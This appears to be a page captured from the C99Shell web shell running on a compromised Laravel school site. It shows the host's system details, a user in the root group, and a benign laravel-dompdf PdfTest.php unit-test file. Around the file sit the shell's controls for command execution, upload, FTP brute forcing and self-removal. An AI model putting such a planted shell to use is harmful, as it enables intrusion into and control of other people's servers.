!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/school.picotech.app/public_html/vendor/barryvdh/laravel-dompdf/tests/   drwxr-xr-x
Free 28.21 GB of 117.98 GB (23.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PdfTest.php (3.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Barryvdh\DomPDF\Tests;

use 
Barryvdh\DomPDF\Facade;
use 
Illuminate\Http\Response;

class 
PdfTest extends TestCase
{
    public function 
testAlias(): void
    
{
        
$pdf \PDF::loadHtml('<h1>Test</h1>');
        
/** @var Response $response */
        
$response $pdf->download('test.pdf');

        
$this->assertInstanceOf(Response::class, $response);
        
$this->assertNotEmpty($response->getContent());
        
$this->assertEquals('application/pdf'$response->headers->get('Content-Type'));
        
$this->assertEquals('attachment; filename="test.pdf"'$response->headers->get('Content-Disposition'));
    }

    public function 
testFacade(): void
    
{
        
$pdf Facade\Pdf::loadHtml('<h1>Test</h1>');
        
/** @var Response $response */
        
$response $pdf->download('test.pdf');

        
$this->assertInstanceOf(Response::class, $response);
        
$this->assertNotEmpty($response->getContent());
        
$this->assertEquals('application/pdf'$response->headers->get('Content-Type'));
        
$this->assertEquals('attachment; filename="test.pdf"'$response->headers->get('Content-Disposition'));
    }

    public function 
testDeprecatedFacade(): void
    
{
        
$pdf Facade::loadHtml('<h1>Test</h1>');
        
/** @var Response $response */
        
$response $pdf->download('test.pdf');

        
$this->assertInstanceOf(Response::class, $response);
        
$this->assertNotEmpty($response->getContent());
        
$this->assertEquals('application/pdf'$response->headers->get('Content-Type'));
        
$this->assertEquals('attachment; filename="test.pdf"'$response->headers->get('Content-Disposition'));
    }

    public function 
testDownload(): void
    
{
        
$pdf Facade::loadHtml('<h1>Test</h1>');
        
/** @var Response $response */
        
$response $pdf->download('test.pdf');

        
$this->assertInstanceOf(Response::class, $response);
        
$this->assertNotEmpty($response->getContent());
        
$this->assertEquals('application/pdf'$response->headers->get('Content-Type'));
        
$this->assertEquals('attachment; filename="test.pdf"'$response->headers->get('Content-Disposition'));
    }

    public function 
testStream(): void
    
{
        
$pdf Facade::loadHtml('<h1>Test</h1>');
        
/** @var Response $response */
        
$response $pdf->stream('test.pdf');

        
$this->assertInstanceOf(Response::class, $response);
        
$this->assertNotEmpty($response->getContent());
        
$this->assertEquals('application/pdf'$response->headers->get('Content-Type'));
        
$this->assertEquals('inline; filename="test.pdf"'$response->headers->get('Content-Disposition'));
    }

    public function 
testView(): void
    
{
        
$pdf Facade::loadView('test');
        
/** @var Response $response */
        
$response $pdf->download('test.pdf');

        
$this->assertInstanceOf(Response::class, $response);
        
$this->assertNotEmpty($response->getContent());
        
$this->assertEquals('application/pdf'$response->headers->get('Content-Type'));
        
$this->assertEquals('attachment; filename="test.pdf"'$response->headers->get('Content-Disposition'));
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--